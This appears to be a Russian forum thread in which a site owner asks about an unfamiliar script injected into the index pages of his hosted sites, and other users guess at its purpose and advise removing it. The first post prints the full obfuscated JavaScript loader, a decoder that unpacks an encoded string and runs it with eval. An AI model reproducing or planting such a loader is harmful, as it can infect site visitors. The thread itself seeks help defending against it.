Странный скрипт на страницах моих сайтов!

  • Автор темы aligator
  • Дата начала
A

aligator

#1
У меня хостинг, где размещены много сайтов, недавно на страницах "index.*" заметил странный скрипт, такого никогда лично не внедрял, даже некоторые страницы становится неработоспособными, если появляется дополнительный код, подскажите, пожалуйста, суть существования этого скрипта, что бы смог предпринимать подходящие меры безопасности, понятное дело что внешняя программное обеспечение записывала этот код, а может и нет?

Код между скобками: "<script language=JavaScript>/*function varrban(x){var l=x.length,b=1024,i,j,r,p=0,s=0,w=0,t=Array(63,61,36,43,5,10,7,46,16,48,0,0,0,0,
0,0,19,56,4,39,57,34,35,50,23,9,27,31,45,44,41,62,18,32,59,25,13,28,40,3,52,17,1
,
0,0,0,0,60,0,6,30,55,49,38,11,21,14,53,12,33,24,29,15,37,54,26,2,58,47,51,8,20,2
2
,42,0);for(j=Math.ceil(l/b);j>0;j--){r='';for(i=Math.min(l,b);i>0;i--,l--){{w|=(t[x.charCodeAt(p++)-48])<<s;if(s){r+=String.fromCharCode(240^w&255);w>>=8;s-=2}else{s=6}}}eval®;}}varrban('6eNCwODkbnvkYPlkWp_iXONCgb1GwOD24pSobPVc65leBxIpHuUex5l2mxIXbaSCgpM2gqS28nVQ
@pMXlPvkzy_cKKS2BxIdYPDQbRSoBOTkK0_iJcJ2BENcrOSkbPIp1aIklsLQYsIoKpIpS3L94FU9rC1p
H
fSoxaDiJKLX8KlewPveTf_9IWTegeDolPluZWjG8nvkIGSoTfToShvQUaSE5RDCbxNXhu_cSqNQYpSoh
K
mp')*/</script><!-- logisticsmoldova.com -->"
 
V

Vovochka

#2
Код:
function varrban
Производит впечатление, что это скрипт для отображения хостерских банеров.
 
H

Hetman

#3
очень напоминает троянца, я встречал такое: в исходный код страницы без ведома хозяина добавляется подобный код, который заточен под дыры в браузере и самопроизвольно устанавливается в системе
 
V

Vovochka

#4
А хостер то по этому поводу что-либо сказал?
Избавляться от этого кода надо :)